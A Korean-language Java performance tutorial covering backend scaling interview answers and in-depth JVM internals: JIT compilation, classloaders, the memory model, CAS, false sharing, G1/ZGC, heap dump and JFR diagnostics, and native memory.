  • ☐ 캐시·Redis 가 통째로 죽어도 서비스가 동작하는가

면접에서 이렇게 답하면 됩니다

질문답의 뼈대
트래픽이 10배가 되면?병목을 측정(k15) → 캐시로 읽기 제거 → 읽기 복제본 → 서버 수평 확장 → 그래도 부족하면 비동기화
선착순 쿠폰 100장을
10만 명이 요청하면?
Redis 원자 연산(DECR)으로 수량 판정 → 통과한 것만 Kafka 로 → 컨슈머가 DB 저장. DB 에 10만 요청을 보내지 않습니다
중복 결제를 어떻게 막나?Idempotency-Key + Redis 선점 + DB 유니크 제약(최후 방어선)
외부 결제사가 느려지면?타임아웃 → 서킷 브레이커 → 벌크헤드로 격리 → 폴백. 결제만 실패하고 나머지는 삽니다
캐시와 DB 정합성은?갱신 시 수정이 아니라 삭제, TTL 을 짧게, 돈 관련은 캐시로 판단하지 않음
가장 좋은 답은 “저희는 이렇게 겪었습니다”입니다. 수치(전 400ms → 후 80ms), 원인(N+1), 조치(fetch join + 캐시), 확인 방법(부하 테스트 p99)까지 한 세트로 말하면 기술 지식보다 훨씬 강한 인상을 줍니다.

마지막으로 — 순서를 지키세요

1단계 — 측정 느린 곳을 추측하지 말고 찾으세요. Actuator·프로파일러·슬로우 쿼리 로그(k02·k14). 여기서 끝나는 문제가 대부분입니다.
2단계 — 없애기 인덱스·N+1·불필요한 호출 제거. 코드를 고치는 게 가장 싸고 효과가 큽니다.
3단계 — 걷어내기 캐시(k03~k05)로 DB 부하를 덜고, 급하지 않은 일은 큐로 넘깁니다(k08).
4단계 — 늘리기 서버 수평 확장, 읽기 복제본(k13). 이때부터 동시성 제어(k06)와 멱등성(k07)이 필수가 됩니다.
5단계 — 지키기 서킷 브레이커·Rate Limit·대기열(k11·k12)로 과부하에서 무너지지 않게 만듭니다.
6단계 — 확인하기 부하 테스트로 한계를 재고(k15), 지표에 알람을 걸고, 다음 피크를 기다립니다.
1·2단계를 건너뛰고 4단계로 가는 것이 가장 흔한 실수입니다. 쿼리 하나 고치면 될 일에 서버를 10대 늘리면, 비용은 10배가 되고 문제는 그대로입니다. 그리고 다음 달에 다시 옵니다.
DEEP DIVE · JVM 내부 · 설계

동작 원리를
설명할 수
있는가

🧬 고급 탭이 “실무에서 쓰는 동시성과 JVM”이었다면, 이 탭은 그 아래에서 실제로 무슨 일이 일어나는지를 다룹니다. 바이트코드 · JIT · 메모리 모델 · 락프리 · GC 내부 · 힙덤프 분석 · 보안 · 아키텍처 — 장애를 해결할 때와 시니어 면접에서 차이를 만드는 영역입니다.

18SECTIONS
JVM바이트코드 · JIT
측정추측이 아니라
🔴전부 고급
DEEP 01

바이트코드와 JIT 컴파일

자바가 “느리다”던 시절이 끝난 이유. 실행하면서 최적화합니다.

실행 파이프라인

.java
  ↓ javac (앞단 컴파일 — 최적화를 거의 안 합니다)
.class (바이트코드)
  ↓ 클래스로더 (z02)
인터프리터로 실행 시작   ← 빠른 시작
  ↓ 실행하면서 프로파일링 ("이 메서드가 뜨겁다")
C1 (클라이언트 컴파일러) — 빠르게 컴파일, 적당한 최적화
  ↓ 더 자주 불리면 (기본 임계치 약 10,000회)
C2 (서버 컴파일러) — ★ 공격적 최적화, 기계어
  ↓ 최적화 가정이 깨지면
Deoptimization — 인터프리터로 되돌아감 ★ 성능 급락
# 바이트코드 보기
javap -c -p MyClass.class

# JIT 동작 관찰
java -XX:+PrintCompilation MyApp
java -XX:+UnlockDiagnosticVMOptions -XX:+PrintInlining MyApp
java -XX:+PrintCompilation -XX:+TraceDeoptimization MyApp

# 어셈블리까지 (hsdis 필요)
java -XX:+UnlockDiagnosticVMOptions -XX:+PrintAssembly MyApp

C2 가 하는 최적화

최적화내용
인라이닝작은 메서드를 호출부에 펼쳐 넣기. 다른 모든 최적화의 출발점
이스케이프 분석객체가 메서드 밖으로 안 나가면 힙에 안 만들고 스칼라로 분해
락 생략혼자 쓰는 객체의 synchronized 를 제거
루프 언롤링 · 벡터화반복문을 펼치고 SIMD 명령 사용
죽은 코드 제거결과를 안 쓰는 계산을 통째로 삭제
// 이스케이프 분석이 통하는 예 — 힙 할당이 사라집니다
public int distance(int x1, int y1, int x2, int y2) {
    Point a = new Point(x1, y1);      // ★ 밖으로 안 나감
    Point b = new Point(x2, y2);
    return a.distanceTo(b);            // → 스칼라 변수로 분해되어 할당 0
}

// ❌ 인라이닝을 막는 것들
//  · 메서드가 너무 큼 (기본 35바이트/325바이트 임계치)
//  · 호출 대상이 매번 다름 (메가모픽 — 구현체 3개 이상)
//  · 예외 처리·동기화가 많음
마이크로 벤치마크는 반드시 JMH 로 하세요. System.currentTimeMillis() 로 재면 워밍업 전 인터프리터 속도를 재거나 죽은 코드 제거로 측정 대상이 사라진 결과를 봅니다. JMH 는 워밍업·블랙홀·포크를 자동으로 처리합니다.
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
@Warmup(iterations = 5) @Measurement(iterations = 10) @Fork(2)
public class MyBench {
    @Benchmark
    public void test(Blackhole bh) {     // ★ 결과를 소비해야 제거되지 않습니다
        bh.consume(compute());
    }
}
JIT — 관찰하고 가정하고, 틀리면 되돌립니다 해석 실행 바이트코드 관찰 호출 수 · 타입 기계어 인라인 · 분기 정리 자주 불림 타입이 굳음 = 가정 같은 타입이 계속 → 빠른 채로 유지 가정이 깨지면 최적화를 버리고 되돌아갑니다 (역최적화) 여기서 따라 나오는 실무 규칙 벤치마크는 예열 구간을 빼고 재세요 — 첫 회 수치는 아무 의미가 없습니다 같은 자리에 늘 같은 타입이 오는 코드가 유리합니다 — 구현 1~2개는 인라인, 3개부터(메가모픽)는 안 됨 시작 속도가 중요한 워크로드라면 AOT 나 네이티브 이미지를 검토하세요 — 예열이 필요 없습니다 확인은 -XX:+PrintCompilation 이나 JFR 로 — 무엇이 컴파일되고 되돌아갔는지 볼 수 있습니다
JVM 을 이기려 하지 말고 가정을 유지할 수 있게 써 주는 편이 빠릅니다.
DEEP 02

클래스로더 · 동적 로딩

NoClassDefFoundError 와 ClassCastException 의 진짜 원인.

위임 모델

Bootstrap  (JDK 핵심 — java.lang 등)
   ↑ 위임
Platform   (JDK 확장 모듈)
   ↑ 위임
Application (내 클래스패스)
   ↑ 위임
Custom     (톰캣 WebApp · 플러그인 · 핫 리로드)

★ 로딩 요청이 오면 "먼저 부모에게" 물어봅니다.
  부모가 못 찾을 때만 자기가 로딩합니다.
  → 표준 라이브러리를 사용자 코드가 덮어쓰지 못하게 하는 안전장치

클래스의 정체성 = 패키지+이름 + "어느 로더가 로딩했는가"
  → 같은 이름이라도 로더가 다르면 다른 클래스입니다 ★
// 이래서 생기는 에러
Object o = pluginClassLoader.loadClass("com.app.Config")
                            .getDeclaredConstructor().newInstance();
Config c = (Config) o;   // ★ ClassCastException!
// "Config cannot be cast to Config" — 같은 이름인데 로더가 달라서

// 톰캣에 앱을 여러 개 올렸을 때, OSGi, 핫 리로드 환경에서 자주 봅니다

실무에서 만나는 문제

NoClassDefFoundError
  ★ ClassNotFoundException 과 다릅니다
  · ClassNotFoundException — 처음부터 못 찾음 (리플렉션·동적 로딩)
  · NoClassDefFoundError   — 컴파일 때는 있었는데 런타임에 없음
    또는 "static 초기화가 이미 실패한" 클래스를 다시 쓰려 할 때
    → 진짜 원인은 로그 위쪽의 ExceptionInInitializerError 입니다

NoSuchMethodError
  · 같은 라이브러리의 다른 버전이 두 개 (의존성 충돌)
  · mvn dependency:tree / gradle dependencies 로 확인
  · 해결: 버전 강제(BOM·platform) 또는 shade/relocate
# 어느 jar 에서 로딩됐는지 추적
java -verbose:class MyApp | grep MyClass

# 의존성 충돌 찾기
./gradlew dependencyInsight --dependency jackson-databind
mvn dependency:tree -Dverbose -Dincludes=com.fasterxml.jackson*
// 서비스 로더 — 플러그인 구조의 표준 방식
public interface PaymentProvider { String name(); Receipt pay(int amount); }

// META-INF/services/com.app.PaymentProvider 파일에 구현체 FQCN 을 적어 두면
ServiceLoader.load(PaymentProvider.class)
             .forEach(p -> registry.put(p.name(), p));
// ★ jar 만 추가하면 기능이 늘어나는 구조 (JDBC 드라이버가 이 방식)
스프링 부트의 fat jar 는 자체 LaunchedClassLoader(Boot 3.1 이하는 LaunchedURLClassLoader) 로 BOOT-INF/lib 안의 jar 를 로딩합니다. 그래서 jar 안의 jar 를 그냥 클래스패스에 넣으면 동작하지 않습니다.
먼저 부모에게 묻습니다 — 위임 구조 Bootstrap — java.* 표준 Platform — 확장 모듈 Application — 우리 코드·라이브러리 ① 위로 먼저 물어봅니다 ② 없으면 내가 찾습니다 그래서 생기는 성질 java.lang.String 을 직접 만들어도 표준 것이 이깁니다 같은 이름이어도 로더가 다르면 다른 타입 ClassCastException 이 이해되지 않을 때 이것을 의심하세요
플러그인·핫 리로드·앱 서버의 격리가 전부 이 구조 위에 있습니다.
DEEP 03

Java Memory Model — happens-before

“가끔만 틀리는” 버그의 근원. 동시성의 이론적 기반입니다.

왜 필요한가 — 가시성과 재배치

// 이 코드는 "영원히 끝나지 않을 수" 있습니다
class Worker {
    private boolean running = true;         // ❌ volatile 없음

    public void run() {
        while (running) { doWork(); }        // 컴파일러가 이렇게 바꿀 수 있습니다:
                                             //   if (running) while(true) doWork();
    }
    public void stop() { running = false; }  // 다른 스레드에서 호출
}

// 원인 두 가지
//  ① 가시성 — 각 코어의 캐시에 값이 따로 있어 변경이 안 보임
//  ② 재배치 — 컴파일러·CPU 가 순서를 바꿈 (단일 스레드 결과만 보장)
// ✅ volatile — 가시성 + 재배치 금지
private volatile boolean running = true;

// volatile 이 보장하는 것
//  · 쓰기는 즉시 메인 메모리에, 읽기는 항상 메인 메모리에서
//  · 이 변수 앞뒤의 명령이 넘나들지 못함 (메모리 배리어)
// ★ 보장하지 않는 것: 원자성
volatile int count;
count++;        // ❌ 여전히 안전하지 않습니다 (읽기+더하기+쓰기 = 3단계)
                //    → AtomicInteger 를 쓰세요 (z04)
“테스트에서는 잘 되던데요” — 이런 버그는 코어 수·JIT 최적화 시점·부하에 따라 나타납니다. 개발 PC 에서는 안 나고 운영에서만 재현되는 전형적인 유형이며, 재현이 안 되므로 코드로 판단해야 합니다.

happens-before 규칙

A happens-before B의미
같은 스레드의 앞 문장 → 뒤 문장프로그램 순서
volatile 쓰기 → 그 변수 읽기가장 많이 쓰는 규칙
unlock → 같은 락의 locksynchronized
Thread.start() → 그 스레드의 첫 문장시작 규칙
스레드 종료 → join() 반환종료 규칙
final 필드 초기화 → 생성자 반환불변 객체가 안전한 이유
// 안전 발행(safe publication) — 이 규칙들이 실제로 쓰이는 자리
class Config {
    private final Map<String, String> values;   // ★ final

    Config(Map<String, String> v) {
        this.values = Map.copyOf(v);             // 불변 복사
    }
}
// final 필드는 생성자가 끝나는 시점에 "완전히 초기화된 상태"가
// 다른 스레드에도 보이는 것이 보장됩니다.
// → 불변 객체는 어떤 동기화 없이도 여러 스레드가 공유할 수 있습니다 ★

// 이중 검사 잠금 — volatile 이 없으면 깨집니다
class Holder {
    private static volatile Holder instance;     // ★ volatile 필수
    static Holder get() {
        if (instance == null) {
            synchronized (Holder.class) {
                if (instance == null) instance = new Holder();
            }
        }
        return instance;
    }
}
// ★ 사실 이럴 필요 없습니다 — 정적 홀더나 enum 을 쓰세요 (z14)
실무 결론 — ① 불변 객체를 기본으로 (record · final 필드), ② 공유 상태가 꼭 필요하면 java.util.concurrent 를 쓰고, ③ volatile 은 플래그 하나 정도에만, ④ 직접 락을 설계하기 전에 이미 있는 자료구조를 먼저 찾으세요.
happens-before — 보인다는 보장이 있는 경우 아무 보장이 없을 때 한 스레드가 쓴 값을 다른 스레드가 영원히 못 볼 수도 있습니다 — 버그가 아니라 규정된 동작입니다 컴파일러와 CPU 가 순서를 바꾸고, 값이 캐시에 머무를 수 있기 때문입니다 보장이 생기는 대표적인 짝 잠금을 푼 것 → 같은 잠금을 잡은 것 (synchronized · Lock) volatile 쓰기 → 같은 변수의 읽기 스레드 시작 전의 쓰기 → 그 스레드 안 · 스레드 종료 → join 뒤 volatile 은 가시성만 보장합니다 — count++ 같은 복합 연산의 원자성은 보장하지 않습니다 직접 다루기 전에 concurrent 패키지를 먼저 보세요 — 대부분 이미 만들어져 있습니다 이 영역의 버그는 재현이 거의 안 됩니다 — 몇 달에 한 번 이상한 값이 보이는 형태로 나타납니다
동시성에서 어려운 것은 원자성보다 언제 보이는가입니다.
DEEP 04

CAS · 락프리 자료구조

락 없이 원자성을 만드는 방법. ConcurrentHashMap 의 내부입니다.

CAS — Compare And Swap

CPU 명령 하나로 다음을 원자적으로 수행합니다.

  if (메모리의 값 == 기대값) { 메모리 = 새값; return true; }
  else                       { return false; }

낙관적 접근
  1. 현재 값을 읽는다
  2. 새 값을 계산한다
  3. CAS 로 바꾼다 → 실패하면 1부터 다시 (스핀)

장점: 락 없음 → 컨텍스트 스위칭·데드락 없음
단점: 경쟁이 심하면 재시도가 늘어 오히려 느려짐
AtomicInteger counter = new AtomicInteger();
counter.incrementAndGet();               // 내부적으로 CAS 루프

// CAS 를 직접 쓰는 형태
AtomicReference<State> ref = new AtomicReference<>(initial);
State cur, next;
do {
    cur = ref.get();
    next = cur.withUpdated(value);        // ★ 불변 객체로 새 상태 계산
} while (!ref.compareAndSet(cur, next));

// 함수형 갱신 (위 루프를 대신해 줍니다)
ref.updateAndGet(s -> s.withUpdated(value));
map.compute(key, (k, v) -> v == null ? 1 : v + 1);
ABA 문제 — 값이 A → B → A 로 돌아오면 CAS 는 변하지 않았다고 착각합니다. AtomicStampedReference(버전 태그)로 해결하지만, 불변 객체를 새로 만들어 교체하면 애초에 발생하지 않습니다.

고경쟁에서는 LongAdder

// AtomicLong — 스레드 수가 많으면 CAS 실패가 폭증합니다
AtomicLong hits = new AtomicLong();
hits.incrementAndGet();       // 32 스레드에서 경쟁 → 처리량 급락

// ★ LongAdder — 셀을 여러 개 두고 나눠 더한 뒤 합칩니다
LongAdder hits = new LongAdder();
hits.increment();             // 경쟁 시 수 배 빠름
hits.sum();                   // 읽을 때 합산 (약간 느림)

// 기준
//   읽기가 잦고 정확한 순간값이 필요 → AtomicLong
//   쓰기가 압도적 (카운터·메트릭)     → LongAdder ★
// VarHandle — Unsafe 를 대체하는 공식 API (Java 9+)
class Node {
    private volatile Object value;
    private static final VarHandle VALUE;
    static {
        try {
            VALUE = MethodHandles.lookup()
                .findVarHandle(Node.class, "value", Object.class);
        } catch (ReflectiveOperationException e) { throw new Error(e); }
    }

    boolean cas(Object expect, Object update) {
        return VALUE.compareAndSet(this, expect, update);
    }
    Object getAcquire()          { return VALUE.getAcquire(this); }
    void setRelease(Object v)    { VALUE.setRelease(this, v); }
    // ★ acquire/release 는 volatile 보다 약한(=빠른) 메모리 순서 보장
}
락프리 자료구조를 직접 만들지 마세요. ConcurrentHashMap·ConcurrentLinkedQueue· CopyOnWriteArrayList·LinkedBlockingQueue 가 수년간 검증된 구현입니다. 직접 만든 락프리 코드는 거의 항상 미묘하게 틀립니다. (🧬 고급 탭 a06 도 같은 이야기를 합니다)
DEEP 05

false sharing · 캐시 라인

코드는 완벽한데 느린 이유. 하드웨어를 알아야 보입니다.

CPU 는 메모리를 바이트가 아니라 64바이트 「캐시 라인」 통째로 읽는다 — 옆 변수까지 딸려 온다 ❌ a 와 b 가 같은 캐시 라인(64바이트) 안에 나란히 놓인 경우 a b 다른 필드 다른 필드 다른 필드 다른 필드 다른 필드 다른 필드 코어 1 a 만 증가시킨다 코어 2 b 만 증가시킨다 한쪽이 a 를 쓰는 순간 상대 코어가 들고 있던 라인 전체가 무효화된다 — 독립인데 서로를 계속 방해한다 ✅ 해법 — 사이를 벌려 서로 다른 캐시 라인에 둔다 LongAdder — 내부가 이미 패딩됨 더미 long 필드로 직접 패딩
공유하지 않는데 공유한 것처럼 느려집니다 — 그래서 이름이 거짓 공유입니다.

캐시 라인이란

CPU 는 메모리를 바이트가 아니라 "캐시 라인" 단위로 읽습니다.
  일반적으로 64바이트

문제: 서로 다른 변수가 같은 라인에 있으면
      한쪽만 바꿔도 다른 코어의 캐시가 통째로 무효화됩니다
      → 실제로는 공유하지 않는데 공유하는 것처럼 느려짐
      → 이것이 false sharing (거짓 공유)

        코어1이 a 를 수정 ─┐
                          ├→ 같은 캐시 라인 → 서로의 캐시를 계속 무효화
        코어2가 b 를 수정 ─┘   → 수 배 느려질 수 있습니다
// ❌ false sharing 이 일어나는 구조
class Counters {
    volatile long a;     // 같은 캐시 라인에 나란히 배치됨
    volatile long b;
}
// 스레드1이 a 를, 스레드2가 b 를 계속 증가시키면
// 논리적으로는 독립인데 실제로는 서로를 방해합니다

// ⚠️ @Contended 는 공식 API 가 아니라 JDK 내부 애노테이션입니다
//    (jdk.internal.vm.annotation — 컴파일에 --add-exports 로
//     java.base/jdk.internal.vm.annotation 을 열어야 하고,
//     실행 시 -XX:-RestrictContended 도 필요합니다)
import jdk.internal.vm.annotation.Contended;   // JDK 내부용

@Contended
static class PaddedCounter { volatile long value; }

// ✅ 실무 해법 — LongAdder 를 쓰거나 수동 패딩(더미 long 필드)으로 분리
LongAdder counter = new LongAdder();   // ★ 내부가 이미 패딩되어 있습니다

데이터 지역성 — 더 자주 만나는 문제

// 자바는 객체 배열이 "포인터의 배열"입니다
Order[] orders = new Order[1_000_000];
// 메모리에 흩어져 있어 순회할 때마다 캐시 미스

// 합계만 필요하다면 원시 배열이 훨씬 빠릅니다
long[] amounts = new long[1_000_000];
// ★ 연속 메모리 → 캐시 라인 하나에 8개씩 실려 옴 (수 배 차이)

// 2차원 배열 순회 순서도 중요합니다
for (int i = 0; i < n; i++)
    for (int j = 0; j < m; j++)
        sum += matrix[i][j];        // ✅ 행 우선 — 연속 접근

for (int j = 0; j < m; j++)
    for (int i = 0; i < n; i++)
        sum += matrix[i][j];        // ❌ 열 우선 — 매번 캐시 미스
Project Valhalla 가 오면 달라집니다. 값 클래스(value class) 가 도입되면 객체를 포인터 없이 배열에 인라인할 수 있게 되어 이 문제의 상당수가 해소됩니다.
다만 2026-08 기준으로 값 클래스는 어떤 릴리스에도 프리뷰로 들어가 있지 않습니다. JEP 401 이 2026-07 에 OpenJDK 본류(mainline)에 통합됐고, JDK 28(2027-03)에서 1차 프리뷰가 목표입니다. 정식화는 그보다 더 뒤입니다. ★ 그러니 위의 원시 배열·행 우선 순회 같은 대응책은 당분간 그대로 유효합니다. “곧 Valhalla 가 해결해 준다”를 전제로 설계를 미루지 마세요.
# 캐시 미스 측정 (리눅스)
perf stat -e cache-misses,cache-references java -jar app.jar

# 객체 메모리 레이아웃 확인 (JOL)
// implementation("org.openjdk.jol:jol-core:0.17")
System.out.println(ClassLayout.parseClass(Order.class).toPrintable());
// 헤더 12바이트 + 필드 + 패딩 → 실제 객체 크기를 알 수 있습니다
이 절의 내용은 “마지막 5%”입니다. DB 쿼리 하나가 100ms 인데 캐시 라인을 고민하는 것은 순서가 틀렸습니다. 초당 수백만 건을 처리하는 핫 루프에서만 의미가 있습니다 (거래 엔진 · 실시간 스트림 처리 · 게임 서버).
DEEP 06

GC 심화 — G1 · ZGC 내부

🧬 고급 a02 의 확장판. 어떤 원리로 멈춤을 줄이는지 봅니다.

G1 = 힙을 수천 개의 「리전」으로 쪼갠 뒤, 쓰레기가 많은 리전부터 비운다 (Garbage-First) 힙 리전 일부 — 칸 안의 막대가 그 리전의 쓰레기 비율입니다 E — E — S — O 12% O 88% O 91% O 35% O 76% H 큰 객체 이번 Mixed GC 는 이 셋만 비운다 — 힙 전체를 훑지 않는다 막대가 짧은 리전(12% · 35%)은 비워도 얻는 공간이 적어 건너뜁니다 — 비용은 같은데 회수량만 적기 때문입니다 그래서 멈춤이 짧다 — -XX:MaxGCPauseMillis 목표에 맞춰 「몇 개를 비울지」를 G1 이 스스로 정한다 H = Humongous — 리전 크기의 절반을 넘는 객체. 연속 리전을 차지해 수거가 늦고 Full GC 를 부른다 E = Eden · S = Survivor · O = Old · H = Humongous — 역할은 고정이 아니라 GC 마다 다시 정해진다
멈춤이 짧은 이유는 알고리즘이 빨라서가 아니라 한 번에 조금만 건드리기 때문입니다.

G1 — 리전 기반

힙을 2,048개 정도의 "리전"으로 쪼갭니다.
각 리전은 상황에 따라 Eden · Survivor · Old · Humongous 역할을 맡습니다.

Young GC
  · Eden 리전을 비우고 살아남은 것을 Survivor 로 (STW, 보통 수~수십 ms)

Mixed GC
  · 동시 마킹으로 "쓰레기가 많은 Old 리전"을 골라
  · 그 리전만 정리 → ★ 전체를 훑지 않아 멈춤이 짧습니다
    (Garbage-First = 쓰레기 많은 것부터)

핵심 옵션
  -XX:MaxGCPauseMillis=200      목표 정지 시간 (보장 아님 · 힌트)
  -XX:G1HeapRegionSize=8m       리전 크기
  -XX:InitiatingHeapOccupancyPercent=45   동시 마킹 시작 시점
Humongous 객체 주의 — 리전 크기의 절반을 넘는 객체는 특별 취급되어 연속 리전을 차지하고 수거가 늦어집니다. 큰 배열·큰 바이트 버퍼를 자주 만들면 “힙에 여유가 있는데 Full GC 가 도는” 현상이 생깁니다.

ZGC — 컬러 포인터와 로드 배리어

목표: 힙 크기와 무관하게 정지 시간 1ms 미만

방법
  · 포인터의 사용하지 않는 비트에 "색"을 심어 상태를 표시
  · 애플리케이션이 참조를 읽을 때마다 로드 배리어가 끼어들어
    필요하면 그 자리에서 포인터를 고침 (동시 이동)
  · 그래서 "객체를 옮기는 동안에도" 앱이 계속 돕니다

대가
  · 로드 배리어 때문에 처리량이 약간 (수 %) 낮습니다
  · 메모리를 조금 더 씁니다

세대별 ZGC — 대부분의 워크로드에서 비세대형보다 낫습니다
  -XX:+UseZGC
  ※ Java 23부터 세대형이 기본. 21~22에서만 -XX:+ZGenerational 을
    추가로 켜야 하고, 24부터는 이 플래그 자체가 폐기됐습니다
GC고르는 기준
G1기본값. 힙 4~32GB 웹 서비스. 고민되면 G1
ZGCp99 지연이 중요하거나 힙이 큼(32GB+)
Parallel배치 — 처리량만 중요하고 멈춰도 될 때
Serial1 vCPU 컨테이너 · 사이드카
ShenandoahZGC 와 유사한 저지연 GC (Red Hat)
# GC 로그 (운영에 항상 켜 두세요 — 비용이 거의 없습니다)
-Xlog:gc*,gc+heap=info:file=/log/gc.log:time,uptime,level:filecount=5,filesize=20M

# 분석: GCeasy.io 에 업로드하거나 GCViewer 로 열면
#   정지 시간 분포 · 처리량 · 승격률을 한눈에 볼 수 있습니다
GC 튜닝 전에 확인할 것 — 객체를 너무 많이 만들고 있지 않은지. 한 번에 100만 건 조회, 불필요한 DTO 변환, 문자열 연결이 GC 를 바쁘게 만드는 진짜 원인인 경우가 대부분입니다. 코드를 고치면 GC 는 저절로 조용해집니다.

Compact Object Headers — 플래그 하나로 힙 20% 절감

자바 객체는 데이터 앞에 "헤더"를 달고 다닙니다.
64비트 JVM 의 기본 헤더는 12바이트 (mark word 8 + 압축 클래스 포인터 4)
→ 8바이트 정렬까지 감안하면 필드가 하나뿐인 객체도 16바이트를 씁니다.

Compact Object Headers 는 이걸 8바이트로 줄입니다.

  class Point { int x, y; }        헤더 12B + 필드 8B → 정렬 24B
  같은 클래스, 압축 헤더 켰을 때    헤더  8B + 필드 8B → 정렬 16B   ★ 33% 감소

★ JDK 25 에서 정식 제품 기능이 됐습니다 (JEP 519 · 그 전에는 JDK 24 실험 기능)
  다만 기본값은 여전히 "꺼짐" 입니다 — 직접 켜야 합니다.
  기본값으로 만들자는 JEP 534 는 아직 초안 단계입니다.
# 켜기 (JDK 25+ 에서는 실험 기능 플래그 없이 그냥 켜집니다)
java -XX:+UseCompactObjectHeaders -jar app.jar

# 얼마나 줄었는지 확인 — JOL 로 실제 레이아웃을 찍어 봅니다 (z05)
java -XX:+UseCompactObjectHeaders \
     -cp app.jar:jol-cli.jar org.openjdk.jol.Main internals com.myapp.Point

# 켜기 전/후 힙 사용량 비교 (같은 부하를 준 뒤)
jcmd <pid> GC.heap_info
효과는 “객체 하나가 얼마나 작은가”에 달려 있습니다. 실측으로 힙 사용량 10~20%, 작은 객체를 대량으로 만드는 워크로드에서는 그 이상 줄어듭니다.
✅ 잘 먹히는 곳 — 수백만 건 엔티티·DTO 를 메모리에 올리는 서비스, 대형 캐시, 노드가 많은 그래프·트리, 작은 객체가 쏟아지는 스트림 처리
❌ 별 차이 없는 곳 — 객체 하나가 이미 큰 경우(긴 문자열·큰 배열 중심). 헤더 4바이트는 전체 대비 비율로만 의미가 있습니다.
힙이 줄면 GC 도 덩달아 조용해집니다. 할당량 자체가 줄어 Young GC 주기가 길어지고 승격도 덜 일어납니다. 다만 Unsafe·JOL·에이전트처럼 헤더 레이아웃을 직접 가정하는 코드는 깨질 수 있으니 ★ 부하 테스트를 한 번 돌린 뒤에 운영에 넣으세요.
DEEP 07

힙덤프 · JFR 분석 실전

운영 장애를 실제로 해결하는 절차입니다.

JFR — 상시 켜 두는 블랙박스

# 오버헤드 1% 미만이라 운영에 켜 둘 수 있습니다
java -XX:StartFlightRecording=disk=true,maxsize=500m,\
maxage=12h,dumponexit=true,filename=/dump/app.jfr \
     -XX:FlightRecorderOptions=stackdepth=128 -jar app.jar

# 돌고 있는 프로세스에서 뽑기
jcmd <pid> JFR.start name=diag duration=60s filename=/tmp/diag.jfr
jcmd <pid> JFR.dump name=diag filename=/tmp/now.jfr

# 열기: JDK Mission Control (JMC) 또는 IntelliJ Ultimate
JFR 로 알 수 있는 것 (전부 시간 축으로)
  · 어느 메서드가 CPU 를 썼나 (샘플링 프로파일)
  · 어디서 객체를 많이 할당했나 ★ 메모리 문제의 지름길
  · GC 정지 시간과 원인
  · 락 경합 — 누가 누구를 얼마나 기다렸나
  · 파일·소켓 I/O 지연
  · 예외 발생 빈도 (조용히 삼켜지는 예외도 보입니다)
# 빠른 진단 3종 (프로세스에 바로)
jcmd <pid> Thread.print              # 스레드 덤프 — 데드락·행 조사
jcmd <pid> GC.heap_info              # 힙 사용량
jcmd <pid> VM.native_memory summary  # 네이티브 메모리 (NMT 켠 경우)
jcmd <pid> GC.heap_dump /dump/heap.hprof

힙덤프 분석 순서

1) 덤프 확보
   -XX:+HeapDumpOnOutOfMemoryError 로 자동 (a13)
   또는 jcmd GC.heap_dump

2) Eclipse MAT 로 열기
   ★ "Leak Suspects" 리포트를 먼저 보세요 — 대개 여기서 끝납니다

3) Dominator Tree
   "이 객체가 사라지면 얼마나 해제되는가"(Retained Heap) 순 정렬

4) 의심 객체 우클릭 → Path to GC Roots (exclude weak refs)
   ★ "누가 붙잡고 있는가"가 나옵니다

5) 흔한 범인
   · HashMap 하나가 수백 MB   → 캐시에 TTL·최대 크기 없음
   · ThreadLocal 정리 안 됨   → 스레드 풀에서 치명적
   · ClassLoader 가 안 풀림   → 핫 리로드·플러그인 (z02)
   · byte[] 가 대부분          → 응답 버퍼·파일 통째 로딩
힙덤프는 프로세스를 멈춥니다. 힙이 8GB 면 수십 초 정지할 수 있고 파일도 그만큼 큽니다. 운영에서는 로드밸런서에서 뺀 인스턴스에서 뜨고, 디스크 여유 공간을 먼저 확인하세요.
스레드 덤프 읽는 요령
  BLOCKED   락을 기다림 → "waiting to lock <0x...>" 의 주소를 추적해
                          누가 그 락을 쥐고 있는지 찾습니다
  WAITING   조건 대기 (정상일 수 있음)
  RUNNABLE  실행 중 — 그런데 소켓 read 에서 RUNNABLE 인 경우가 많습니다
            ★ 스레드 덤프를 5초 간격으로 3번 떠서
              "같은 자리에 계속 있는 스레드"를 찾는 것이 핵심입니다
운영 장애 대응 순서 — ① 스레드 덤프 3회(행 여부 판단) → ② GC 로그(메모리 압박 확인) → ③ JFR(구간 지목) → ④ 힙덤프(누수 확정). 순서를 지키면 대부분 ①~②에서 끝납니다.
DEEP 08

오프힙 · 네이티브 메모리

“힙은 여유 있는데 컨테이너가 죽는” 이유.

JVM 이 쓰는 메모리 전부

컨테이너 메모리 한도 (예: 2GB)
├─ 힙 (-Xmx)                    ← 우리가 아는 그것
├─ 메타스페이스                  클래스 정보 (기본 무제한 ★)
├─ 코드 캐시                     JIT 결과 (기본 240MB)
├─ 스레드 스택                   스레드당 1MB × 개수 ★
├─ 다이렉트 버퍼                 NIO · Netty
├─ GC 구조체                     힙의 5~10%
└─ 네이티브 라이브러리           JNI · 압축 · 암호화

★ -Xmx2g 로 두고 컨테이너를 2GB 로 잡으면 반드시 OOMKilled 됩니다.
  힙은 컨테이너의 70~75% 가 안전선입니다 (🧬 고급 a13)
# 네이티브 메모리 추적 (NMT) — 어디가 먹는지 정확히
java -XX:NativeMemoryTracking=summary -jar app.jar
jcmd <pid> VM.native_memory summary

# 출력 예
# Java Heap (reserved=2GB, committed=1.5GB)
# Class     (reserved=1GB,  committed=80MB)   ← 메타스페이스
# Thread    (reserved=400MB, committed=400MB) ← 스레드 400개!
# Code      (reserved=250MB, committed=90MB)

# 기준선 대비 증가분 보기
jcmd <pid> VM.native_memory baseline
jcmd <pid> VM.native_memory summary.diff

DirectByteBuffer — 힙 밖의 메모리

// 힙 안 — GC 가 관리, 복사 비용 있음
ByteBuffer heap = ByteBuffer.allocate(1024);

// ★ 힙 밖 — I/O 시 복사가 없어 빠르지만 GC 가 늦게 회수합니다
ByteBuffer direct = ByteBuffer.allocateDirect(1024);

// 한도 설정 (기본은 -Xmx 와 같습니다 — 즉 두 배를 쓸 수 있습니다!)
// -XX:MaxDirectMemorySize=256m

// ★ 다이렉트 버퍼는 참조가 사라진 뒤 GC 가 돌아야 해제됩니다
//   → 힙에 여유가 있으면 GC 가 안 돌고 → 네이티브 메모리만 계속 증가
//   → OutOfMemoryError: Direct buffer memory
// 해결: 풀링(Netty 가 하는 일)하거나 MaxDirectMemorySize 를 명시
// Java 22+ — Foreign Function & Memory API (Unsafe 의 공식 후계 · 21 에서는 프리뷰)
